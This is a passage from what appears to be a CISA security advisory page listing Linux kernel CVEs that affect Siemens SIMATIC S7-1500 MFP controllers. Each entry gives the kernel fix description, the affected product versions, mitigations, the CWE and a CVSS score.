<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/476.html">CWE-476 NULL Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-21846</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: acct: perform last write from workqueue In [1] it was reported that the acct(2) system call can be used to trigger NULL deref in cases where it is set to write to a file that triggers an internal lookup. This can e.g., happen when pointing acc(2) to /sys/power/resume. At the point the where the write to this file happens the calling task has already exited and called exit_fs(). A lookup will thus trigger a NULL-deref when accessing current-&gt;fs. Reorganize the code so that the the final write happens from the workqueue but with the caller's credentials. This preserves the (strange) permission model and has almost no regression risk. This api should stop to exist though.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-21846">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/476.html">CWE-476 NULL Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-21853</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: bpf: avoid holding freeze_mutex during mmap operation We use map-&gt;freeze_mutex to prevent races between map_freeze() and memory mapping BPF map contents with writable permissions. The way we naively do this means we'll hold freeze_mutex for entire duration of all the mm and VMA manipulations, which is completely unnecessary. This can potentially also lead to deadlocks, as reported by syzbot in [0]. So, instead, hold freeze_mutex only during writeability checks, bump (proactively) "write active" count for the map, unlock the mutex and proceed with mmap logic. And only if something went wrong during mmap logic, then undo that "write active" counter increment. [0] https://lore.kernel.org/bpf/678dcbc9.050a0220.303755.0066.GAE@google.com/</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-21853">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>4.4</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-21861</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: mm/migrate_device: don't add folio to be freed to LRU in migrate_device_finalize() If migration succeeded, we called folio_migrate_flags()-&gt;mem_cgroup_migrate() to migrate the memcg from the old to the new folio. This will set memcg_data of the old folio to 0. Similarly, if migration failed, memcg_data of the dst folio is left unset. If we call folio_putback_lru() on such folios (memcg_data == 0), we will add the folio to be freed to the LRU, making memcg code unhappy. Running the hmm selftests: # ./hmm-tests ... # RUN hmm.hmm_device_private.migrate ... [ 102.078007][T14893] page: refcount:1 mapcount:0 mapping:0000000000000000 index:0x7ff27d200 pfn:0x13cc00 [ 102.079974][T14893] anon flags: 0x17ff00000020018(uptodate|dirty|swapbacked|node=0|zone=2|lastcpupid=0x7ff) [ 102.082037][T14893] raw: 017ff00000020018 dead000000000100 dead000000000122 ffff8881353896c9 [ 102.083687][T14893] raw: 00000007ff27d200 0000000000000000 00000001ffffffff 0000000000000000 [ 102.085331][T14893] page dumped because: VM_WARN_ON_ONCE_FOLIO(!memcg &amp;&amp; !mem_cgroup_disabled()) [ 102.087230][T14893] ------------[ cut here ]------------ [ 102.088279][T14893] WARNING: CPU: 0 PID: 14893 at ./include/linux/memcontrol.h:726 folio_lruvec_lock_irqsave+0x10e/0x170 [ 102.090478][T14893] Modules linked in: [ 102.091244][T14893] CPU: 0 UID: 0 PID: 14893 Comm: hmm-tests Not tainted 6.13.0-09623-g6c216bc522fd #151 [ 102.093089][T14893] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-2.fc40 04/01/2014 [ 102.094848][T14893] RIP: 0010:folio_lruvec_lock_irqsave+0x10e/0x170 [ 102.096104][T14893] Code: ... [ 102.099908][T14893] RSP: 0018:ffffc900236c37b0 EFLAGS: 00010293 [ 102.101152][T14893] RAX: 0000000000000000 RBX: ffffea0004f30000 RCX: ffffffff8183f426 [ 102.102684][T14893] RDX: ffff8881063cb880 RSI: ffffffff81b8117f RDI: ffff8881063cb880 [ 102.104227][T14893] RBP: 0000000000000000 R08: 0000000000000005 R09: 0000000000000000 [ 102.105757][T14893] R10: 0000000000000001 R11: 0000000000000002 R12: ffffc900236c37d8 [ 102.107296][T14893] R13: ffff888277a2bcb0 R14: 000000000000001f R15: 0000000000000000 [ 102.108830][T14893] FS: 00007ff27dbdd740(0000) GS:ffff888277a00000(0000) knlGS:0000000000000000 [ 102.110643][T14893] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 102.111924][T14893] CR2: 00007ff27d400000 CR3: 000000010866e000 CR4: 0000000000750ef0 [ 102.113478][T14893] PKRU: 55555554 [ 102.114172][T14893] Call Trace: [ 102.114805][T14893] [ 102.115397][T14893] ? folio_lruvec_lock_irqsave+0x10e/0x170 [ 102.116547][T14893] ? __warn.cold+0x110/0x210 [ 102.117461][T14893] ? folio_lruvec_lock_irqsave+0x10e/0x170 [ 102.118667][T14893] ? report_bug+0x1b9/0x320 [ 102.119571][T14893] ? handle_bug+0x54/0x90 [ 102.120494][T14893] ? exc_invalid_op+0x17/0x50 [ 102.121433][T14893] ? asm_exc_invalid_op+0x1a/0x20 [ 102.122435][T14893] ? __wake_up_klogd.part.0+0x76/0xd0 [ 102.123506][T14893] ? dump_page+0x4f/0x60 [ 102.124352][T14893] ? folio_lruvec_lock_irqsave+0x10e/0x170 [ 102.125500][T14893] folio_batch_move_lru+0xd4/0x200 [ 102.126577][T14893] ? __pfx_lru_add+0x10/0x10 [ 102.127505][T14893] __folio_batch_add_and_move+0x391/0x720 [ 102.128633][T14893] ? __pfx_lru_add+0x10/0x10 [ 102.129550][T14893] folio_putback_lru+0x16/0x80 [ 102.130564][T14893] migrate_device_finalize+0x9b/0x530 [ 102.131640][T14893] dmirror_migrate_to_device.constprop.0+0x7c5/0xad0 [ 102.133047][T14893] dmirror_fops_unlocked_ioctl+0x89b/0xc80 Likely, nothing else goes wrong: putting the last folio reference will remove the folio from the LRU again. So besides memcg complaining, adding the folio to be freed to the LRU is just an unnecessary step. The new flow resembles what we have in migrate_folio_move(): add the dst to the lru, rem ---truncated---</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-21861">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/416.html">CWE-416 Use After Free</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-21864</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: tcp: drop secpath at the same time as we currently drop dst Xiumei reported hitting the WARN in xfrm6_tunnel_net_exit while running tests that boil down to: - create a pair of netns - run a basic TCP test over ipcomp6 - delete the pair of netns The xfrm_state found on spi_byaddr was not deleted at the time we delete the netns, because we still have a reference on it. This lingering reference comes from a secpath (which holds a ref on the xfrm_state), which is still attached to an skb. This skb is not leaked, it ends up on sk_receive_queue and then gets defer-free'd by skb_attempt_defer_free. The problem happens when we defer freeing an skb (push it on one CPU's defer_list), and don't flush that list before the netns is deleted. In that case, we still have a reference on the xfrm_state that we don't expect at this point. We already drop the skb's dst in the TCP receive path when it's no longer needed, so let's also drop the secpath. At this point, tcp_filter has already called into the LSM hooks that may require the secpath, so it should not be needed anymore. However, in some of those places, the MPTCP extension has just been attached to the skb, so we cannot simply drop all extensions.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-21864">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/476.html">CWE-476 NULL Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-21867</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: bpf, test_run: Fix use-after-free issue in eth_skb_pkt_type() KMSAN reported a use-after-free issue in eth_skb_pkt_type()[1]. The cause of the issue was that eth_skb_pkt_type() accessed skb's data that didn't contain an Ethernet header. This occurs when bpf_prog_test_run_xdp() passes an invalid value as the user_data argument to bpf_test_init(). Fix this by returning an error when user_data is less than ETH_HLEN in bpf_test_init(). Additionally, remove the check for "if (user_size &gt; size)" as it is unnecessary. [1] BUG: KMSAN: use-after-free in eth_skb_pkt_type include/linux/etherdevice.h:627 [inline] BUG: KMSAN: use-after-free in eth_type_trans+0x4ee/0x980 net/ethernet/eth.c:165 eth_skb_pkt_type include/linux/etherdevice.h:627 [inline] eth_type_trans+0x4ee/0x980 net/ethernet/eth.c:165 __xdp_build_skb_from_frame+0x5a8/0xa50 net/core/xdp.c:635 xdp_recv_frames net/bpf/test_run.c:272 [inline] xdp_test_run_batch net/bpf/test_run.c:361 [inline] bpf_test_run_xdp_live+0x2954/0x3330 net/bpf/test_run.c:390 bpf_prog_test_run_xdp+0x148e/0x1b10 net/bpf/test_run.c:1318 bpf_prog_test_run+0x5b7/0xa30 kernel/bpf/syscall.c:4371 __sys_bpf+0x6a6/0xe20 kernel/bpf/syscall.c:5777 __do_sys_bpf kernel/bpf/syscall.c:5866 [inline] __se_sys_bpf kernel/bpf/syscall.c:5864 [inline] __x64_sys_bpf+0xa4/0xf0 kernel/bpf/syscall.c:5864 x64_sys_call+0x2ea0/0x3d90 arch/x86/include/generated/asm/syscalls_64.h:322 do_syscall_x64 arch/x86/entry/common.c:52 [inline] do_syscall_64+0xd9/0x1d0 arch/x86/entry/common.c:83 entry_SYSCALL_64_after_hwframe+0x77/0x7f Uninit was created at: free_pages_prepare mm/page_alloc.c:1056 [inline] free_unref_page+0x156/0x1320 mm/page_alloc.c:2657 __free_pages+0xa3/0x1b0 mm/page_alloc.c:4838 bpf_ringbuf_free kernel/bpf/ringbuf.c:226 [inline] ringbuf_map_free+0xff/0x1e0 kernel/bpf/ringbuf.c:235 bpf_map_free kernel/bpf/syscall.c:838 [inline] bpf_map_free_deferred+0x17c/0x310 kernel/bpf/syscall.c:862 process_one_work kernel/workqueue.c:3229 [inline] process_scheduled_works+0xa2b/0x1b60 kernel/workqueue.c:3310 worker_thread+0xedf/0x1550 kernel/workqueue.c:3391 kthread+0x535/0x6b0 kernel/kthread.c:389 ret_from_fork+0x6e/0x90 arch/x86/kernel/process.c:147 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:244 CPU: 1 UID: 0 PID: 17276 Comm: syz.1.16450 Not tainted 6.12.0-05490-g9bb88c659673 #8 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.3-3.fc41 04/01/2014</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-21867">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/416.html">CWE-416 Use After Free</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-21875</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: mptcp: always handle address removal under msk socket lock Syzkaller reported a lockdep splat in the PM control path: WARNING: CPU: 0 PID: 6693 at ./include/net/sock.h:1711 sock_owned_by_me include/net/sock.h:1711 [inline] WARNING: CPU: 0 PID: 6693 at ./include/net/sock.h:1711 msk_owned_by_me net/mptcp/protocol.h:363 [inline] WARNING: CPU: 0 PID: 6693 at ./include/net/sock.h:1711 mptcp_pm_nl_addr_send_ack+0x57c/0x610 net/mptcp/pm_netlink.c:788 Modules linked in: CPU: 0 UID: 0 PID: 6693 Comm: syz.0.205 Not tainted 6.14.0-rc2-syzkaller-00303-gad1b832bf1cf #0 Hardware name: Google Compute Engine/Google Compute Engine, BIOS Google 12/27/2024 RIP: 0010:sock_owned_by_me include/net/sock.h:1711 [inline] RIP: 0010:msk_owned_by_me net/mptcp/protocol.h:363 [inline] RIP: 0010:mptcp_pm_nl_addr_send_ack+0x57c/0x610 net/mptcp/pm_netlink.c:788 Code: 5b 41 5c 41 5d 41 5e 41 5f 5d c3 cc cc cc cc e8 ca 7b d3 f5 eb b9 e8 c3 7b d3 f5 90 0f 0b 90 e9 dd fb ff ff e8 b5 7b d3 f5 90 &lt;0f&gt; 0b 90 e9 3e fb ff ff 44 89 f1 80 e1 07 38 c1 0f 8c eb fb ff ff RSP: 0000:ffffc900034f6f60 EFLAGS: 00010283 RAX: ffffffff8bee3c2b RBX: 0000000000000001 RCX: 0000000000080000 RDX: ffffc90004d42000 RSI: 000000000000a407 RDI: 000000000000a408 RBP: ffffc900034f7030 R08: ffffffff8bee37f6 R09: 0100000000000000 R10: dffffc0000000000 R11: ffffed100bcc62e4 R12: ffff88805e6316e0 R13: ffff88805e630c00 R14: dffffc0000000000 R15: ffff88805e630c00 FS: 00007f7e9a7e96c0(0000) GS:ffff8880b8600000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 0000001b2fd18ff8 CR3: 0000000032c24000 CR4: 00000000003526f0 DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 Call Trace: mptcp_pm_remove_addr+0x103/0x1d0 net/mptcp/pm.c:59 mptcp_pm_remove_anno_addr+0x1f4/0x2f0 net/mptcp/pm_netlink.c:1486 mptcp_nl_remove_subflow_and_signal_addr net/mptcp/pm_netlink.c:1518 [inline] mptcp_pm_nl_del_addr_doit+0x118d/0x1af0 net/mptcp/pm_netlink.c:1629 genl_family_rcv_msg_doit net/netlink/genetlink.c:1115 [inline] genl_family_rcv_msg net/netlink/genetlink.c:1195 [inline] genl_rcv_msg+0xb1f/0xec0 net/netlink/genetlink.c:1210 netlink_rcv_skb+0x206/0x480 net/netlink/af_netlink.c:2543 genl_rcv+0x28/0x40 net/netlink/genetlink.c:1219 netlink_unicast_kernel net/netlink/af_netlink.c:1322 [inline] netlink_unicast+0x7f6/0x990 net/netlink/af_netlink.c:1348 netlink_sendmsg+0x8de/0xcb0 net/netlink/af_netlink.c:1892 sock_sendmsg_nosec net/socket.c:718 [inline] __sock_sendmsg+0x221/0x270 net/socket.c:733 ____sys_sendmsg+0x53a/0x860 net/socket.c:2573 ___sys_sendmsg net/socket.c:2627 [inline] __sys_sendmsg+0x269/0x350 net/socket.c:2659 do_syscall_x64 arch/x86/entry/common.c:52 [inline] do_syscall_64+0xf3/0x230 arch/x86/entry/common.c:83 entry_SYSCALL_64_after_hwframe+0x77/0x7f RIP: 0033:0x7f7e9998cde9 Code: ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 &lt;48&gt; 3d 01 f0 ff ff 73 01 c3 48 c7 c1 a8 ff ff ff f7 d8 64 89 01 48 RSP: 002b:00007f7e9a7e9038 EFLAGS: 00000246 ORIG_RAX: 000000000000002e RAX: ffffffffffffffda RBX: 00007f7e99ba5fa0 RCX: 00007f7e9998cde9 RDX: 000000002000c094 RSI: 0000400000000000 RDI: 0000000000000007 RBP: 00007f7e99a0e2a0 R08: 0000000000000000 R09: 0000000000000000 R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000 R13: 0000000000000000 R14: 00007f7e99ba5fa0 R15: 00007fff49231088 Indeed the PM can try to send a RM_ADDR over a msk without acquiring first the msk socket lock. The bugged code-path comes from an early optimization: when there are no subflows, the PM should (usually) not send RM_ADDR notifications. The above statement is incorrect, as without locks another process could concur ---truncated---</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-21875">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-21887</a></h3>
<div class="csaf-accordion-content">
